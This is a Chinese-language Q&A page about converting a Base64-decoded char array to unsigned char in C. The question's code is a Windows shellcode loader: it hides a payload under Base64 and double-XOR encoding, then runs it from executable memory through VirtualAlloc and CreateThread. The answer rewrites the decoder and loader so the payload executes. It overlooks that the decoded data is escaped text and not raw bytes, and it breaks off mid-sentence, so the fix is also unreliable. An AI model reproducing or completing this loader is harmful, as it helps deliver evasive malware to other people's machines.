You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何将Base64解码的char数组转为unsigned char数组用于Shellcode处理

问题描述

我尝试将XOR加密与Base64编码结合生成Shellcode,但遇到一个问题:我用的Base64解码器输出是char数组,而后续所有算法都是基于unsigned char数组实现的。需要把解码结果转换到unsigned char数组中,以下是我的代码,求解决方案?

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "windows.h"

/* ---- Base64 Encoding/Decoding Table --- */
char b64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

void b64_encode(char *clrstr, char *b64dst);
void decodeblock(unsigned char in[], char *clrstr);
void b64_decode(char *b64src, char *clrdst);
void encodeblock( unsigned char in[], char b64str[], int len );



int main() {

   PVOID lclbuff;
   HANDLE thrd;

   int i;


//mysrc, first, encrypted by using key1 with XOR and again encrypted by using key2 with XOR. Then encoded with base64. Therefore, I need to reverse these steps.
     
char mysrc[] = "XHhmOFx4NTZceDgzXHhmMFx4ZTFceGU1XHhkZlx4MGNceDEwXHgxOFx4NGRceDQyXHg0OVx4NDlceDRiXHg1MVx4NDFceDQ5XHgyOVx4YzdceDYxXHg1Nlx4OGJceDQ2XHg3MVx4NDVceDk0XHg1ZVx4MDhceDUwXHg4N1x4NDFceDI4XHg1MVx4OTJceDcyXHg0N1x4NDlceDE3XHhhMlx4NGVceDU0XHg0ZFx4MjVceGQ4XHg0NVx4MmVceGNjXHhiY1x4MjRceDZkXHg2Zlx4MGFceDM1XHgzOVx4NDFceGQ2XHhjOFx4MTVceDU0XHgwNVx4ZGZceGUyXHhmOVx4NDNceDRjXHg0ZVx4NDRceDliXHg0YVx4MmNceDk4XHg0YVx4MjVceDUxXHgwMVx4YzdceDhhXHg5OFx4OWRceDA0XHgxZVx4MDBceDVjXHg5NFx4Y2RceDZiXHg2Ylx4NThceDE5XHhkY1x4NDNceDgzXHg1MVx4MDFceDQ0XHg5Y1x4NDFceDM4XHg1Y1x4MDVceGNlXHhlM1x4NDJceDU5XHhmMlx4ZDZceDRkXHg5Ylx4MmNceDg0XHg1Ylx4MDlceGNmXHg1NFx4MzFceGRlXHg0OVx4MjlceGQ1XHhhOFx4NWZceGMxXHhkZFx4MWNceDRjXHgxZVx4Y2RceDI4XHhmOFx4NzlceGUyXHg0NFx4MWFceDU1XHgyNFx4MWZceDQ0XHgyMVx4YzRceDcxXHhjNlx4NThceDUwXHg5YVx4NGRceDNiXHg0NVx4MTFceGM4XHg2YVx4NTJceDgzXHgxNVx4NTFceDQ0XHg5Y1x4NDFceDA0XHg1Y1x4MDVceGNlXHg0MVx4OWZceDE1XHg4NVx4NTdceDBkXHhjMFx4NTlceDU0XHg1Mlx4NTBceDQ3XHg0MFx4NWFceDU2XHg1OVx4NTlceDRjXHg0NVx4NDRceDQ4XHg5N1x4ZmRceDJkXHg1ZVx4NWVceGVmXHhmOFx4NTRceDUyXHg1MVx4NDNceDUxXHg4Ylx4MDVceGU4XHg0Zlx4ZWFceGZiXHhlMVx4NWRceDVkXHhhZlx4N2FceDZjXHgzZVx4NGZceDJiXHgzZVx4MTNceDA4XHg1OFx4NGZceDQ5XHg5ZVx4ZTdceDUwXHg5NFx4ZThceGJlXHgwMVx4MTRceDExXHg0NFx4OTZceGU5XHg1OVx4YTRceDBlXHgxM1x4MmRceDYyXHgxM1x4MDBceDE1XHgwNVx4NTlceDQxXHg0ZFx4OTdceGU0XHg1OFx4OThceGZjXHg1ZVx4YjZceDVjXHg2Zlx4MmFceDE0XHhmN1x4Y2NceDU1XHg4OVx4ZmRceDY5XHgxOVx4MTRceDA0XHgxZVx4NTlceDU1XHhhYlx4MjRceDlmXHg2N1x4MTBceGU3XHhkOVx4NDNceDU4XHg1NFx4MjhceGM5XHg1YVx4MzBceGQ4XHg1ZFx4ZmJceGRlXHg0OFx4OWRceGQzXHg0NVx4ZTBceGNjXHg1OFx4OTFceGNkXHg1Mlx4YjJceGYzXHgxNlx4ZGZceGY3XHhmZVx4Y2RceDVkXHg4ZFx4ZDlceDZhXHgwNFx4NTBceDU1XHg1M1x4ODVceGYyXHg1MFx4ODVceGVhXHg0OVx4YTNceDgwXHhhNVx4NjNceDYwXHhlN1x4YzBceDRjXHg5Zlx4YzRceDU0XHgxM1x4MGRceDFmXHg0NVx4YThceDdiXHg2MVx4NzdceDA4XHgxOVx4MTlceDAwXHgxN1x4NDBceDQ4XHg1NFx4NTRceDU2XHg4OVx4ZjZceDQ2XHg1YVx4NDhceDQxXHgyMVx4ZDhceDY2XHgxZVx4NTFceDU4XHg0OVx4ZTJceGViXHg2N1x4ZGZceDUxXHgyMFx4NGFceDAxXHgxNVx4NTlceDgwXHg1Ylx4MjhceDA4XHhkZVx4MGNceDdiXHg0MFx4OTBceGZmXHg1Nlx4NDdceDQwXHg0OFx4NTRceDU0XHg1Zlx4NTBceDVkXHhlZVx4Y2RceDVlXHg1Y1x4NTlceGU3XHhjNFx4NWVceDgxXHhkOFx4NTVceDg5XHhkNlx4NDBceGEyXHg2Y1x4YzhceDIxXHg4Nlx4ZWJceGM0XHg0NVx4MmVceGRlXHg1OFx4ZTdceGM2XHg5OFx4MDZceDU4XHhhM1x4MDhceDkwXHgxY1x4NzhceGVhXHhkMVx4YTVceGYwXHhhMVx4YjNceDViXHg1ZVx4YjZceGI2XHg4ZFx4YjFceDhlXHhmN1x4Y2NceDUxXHg4M1x4ZDNceDI5XHgyNFx4MTNceDc4XHgxNFx4ODBceGVmXHhmMVx4NzhceDFhXHhiN1x4NTdceDBiXHg3ZVx4N2NceDYyXHgxOVx4NDBceDQxXHg5ZVx4ZGJceGU3XHhjMA==";
     char myb64[1840];
     unsigned char nw[1840];
     
     b64_decode(mysrc, myb64);
     
     printf("%s\n", myb64); // This gives following and true output: \xf8\x56\x83\xf0\xe1\xe5\xdf\x0c\x10\x18...
     //However, It must reside inside an unsigned char array, as occurs in the output above.
     //The output above must be turned into unsigned char array which is 'nw'. What can I do?
 
     char key1[] = "elma";
     char key2[] = "armut";
       
   
   for(i=0; i<sizeof(nw)-1; i++){
       nw[i]^=key2[i % strlen(key2)];
   }
   for(i=0; i<sizeof(nw)-1; i++){
       nw[i]^=key1[i % strlen(key1)];
   }
   
   
   lclbuff = VirtualAlloc(NULL, sizeof(nw), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
   CopyMemory(lclbuff, nw, sizeof(nw));
   thrd = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lclbuff, NULL, 0, NULL);
   WaitForSingleObject(thrd, INFINITE);
   
   

   return 0;
}


// The functions below are only needed to base64 encoding/decoding. Therefore, we can pass them.


/* encode - base64 encode a stream, adding padding if needed */
void b64_encode(char *clrstr, char *b64dst) {
 unsigned char in[3];
 int i, len = 0;
 int j = 0;

 b64dst[0] = '\0';
 while(clrstr[j]) {
   len = 0;
   for(i=0; i<3; i++) {
    in[i] = (unsigned char) clrstr[j];
    if(clrstr[j]) {
       len++; j++;
     }
     else in[i] = 0;
   }
   if( len ) {
     encodeblock( in, b64dst, len );
   }
 }
}


/* decodeblock - decode 4 '6-bit' characters into 3 8-bit binary bytes */
void decodeblock(unsigned char in[], char *clrstr) {
 unsigned char out[4];
 out[0] = in[0] << 2 | in[1] >> 4;
 out[1] = in[1] << 4 | in[2] >> 2;
 out[2] = in[2] << 6 | in[3] >> 0;
 out[3] = '\0';
 strncat(clrstr, out, sizeof(out));
}

void b64_decode(char *b64src, char *clrdst) {
 int c, phase, i;
 unsigned char in[4];
 char *p;

 clrdst[0] = '\0';
 phase = 0; i=0;
 while(b64src[i]) {
   c = (int) b64src[i];
   if(c == '=') {
     decodeblock(in, clrdst); 
     break;
   }
   p = strchr(b64, c);
   if(p) {
     in[phase] = p - b64;
     phase = (phase + 1) % 4;
     if(phase == 0) {
       decodeblock(in, clrdst);
       in[0]=in[1]=in[2]=in[3]=0;
     }
   }
   i++;
 }
}

/* encodeblock - encode 3 8-bit binary bytes as 4 '6-bit' characters */
void encodeblock( unsigned char in[], char b64str[], int len ) {
   unsigned char out[5];
   out[0] = b64[ in[0] >> 2 ];
   out[1] = b64[ ((in[0] & 0x03) << 4) | ((in[1] & 0xf0) >> 4) ];
   out[2] = (unsigned char) (len > 1 ? b64[ ((in[1] & 0x0f) << 2) |
            ((in[2] & 0xc0) >> 6) ] : '=');
   out[3] = (unsigned char) (len > 2 ? b64[ in[2] & 0x3f ] : '=');
   out[4] = '\0';
   strncat(b64str, out, sizeof(out));
}
解决方案

方法1:直接类型转换复制

Base64解码后的myb64数组里的字节值已经是正确的二进制数据,只是类型为char。可以通过循环将每个元素强制转换为unsigned char后赋值给nw数组,同时注意获取实际解码长度(避免处理未初始化内存):

// 在b64_decode调用后添加:
size_t decoded_len = strlen(myb64);
for (i = 0; i < decoded_len; i++) {
    nw[i] = (unsigned char)myb64[i];
}
// 可选:将剩余内存初始化为0,避免垃圾数据干扰
memset(nw + decoded_len, 0, sizeof(nw) - decoded_len);

注意:如果Shellcode中包含\0字节,strlen会提前终止,导致部分数据丢失,这种情况建议用方法2。

方法2:修改Base64解码函数直接输出unsigned char

更可靠的方案是修改解码函数,让它直接写入unsigned char数组并返回实际解码字节数,解决二进制数据含\0的问题:

  1. 修改函数声明:
size_t b64_decode(char *b64src, unsigned char *clrdst);
void decodeblock(unsigned char in[], unsigned char *clrstr, size_t *offset);
  1. 更新decodeblock和b64_decode实现:
void decodeblock(unsigned char in[], unsigned char *clrstr, size_t *offset) {
    clrstr[*offset] = in[0] << 2 | in[1] >> 4;
    clrstr[*offset + 1] = in[1] << 4 | in[2] >> 2;
    clrstr[*offset + 2] = in[2] << 6 | in[3] >> 0;
    *offset += 3;
}

size_t b64_decode(char *b64src, unsigned char *clrdst) {
    int c, phase, i;
    unsigned char in[4];
    char *p;
    size_t offset = 0;

    phase = 0; i = 0;
    while (b64src[i]) {
        c = (int)b64src[i];
        if (c == '=') {
            // 处理填充,减去无效的填充字节
            int pad_count = 4 - phase;
            decodeblock(in, clrdst, &offset);
            offset -= pad_count;
            break;
        }
        p = strchr(b64, c);
        if (p) {
            in[phase] = p - b64;
            phase = (phase + 1) % 4;
            if (phase == 0) {
                decodeblock(in, clrdst, &offset);
                memset(in, 0, sizeof(in));
            }
        }
        i++;
    }
    return offset;
}
  1. 在main函数中使用修改后的函数:
unsigned char nw[1840];
// 直接解码到unsigned char数组,获取实际长度
size_t decoded_len = b64_decode(mysrc, nw);

// XOR操作只处理实际解码的字节
for(i=0; i < decoded_len; i++){
    nw[i] ^= key2[i % strlen(key2)];
}
for(i=0; i < decoded_len; i++){
    nw[i] ^= key1[i % strlen(key1)];
}

// 内存分配和拷贝也使用实际长度,避免浪费内存
lclbuff = VirtualAlloc(NULL, decoded_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
CopyMemory(lclbuff, nw, decoded_len);

关键注意点

  • char可能是有符号类型,当字节值大于127时,强制转换为unsigned char可以避免符号扩展,保证二进制数据的正确性。
  • 原代码中用sizeof(nw)处理数据长度会包含未初始化的内存,改用
相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.03 00:15:40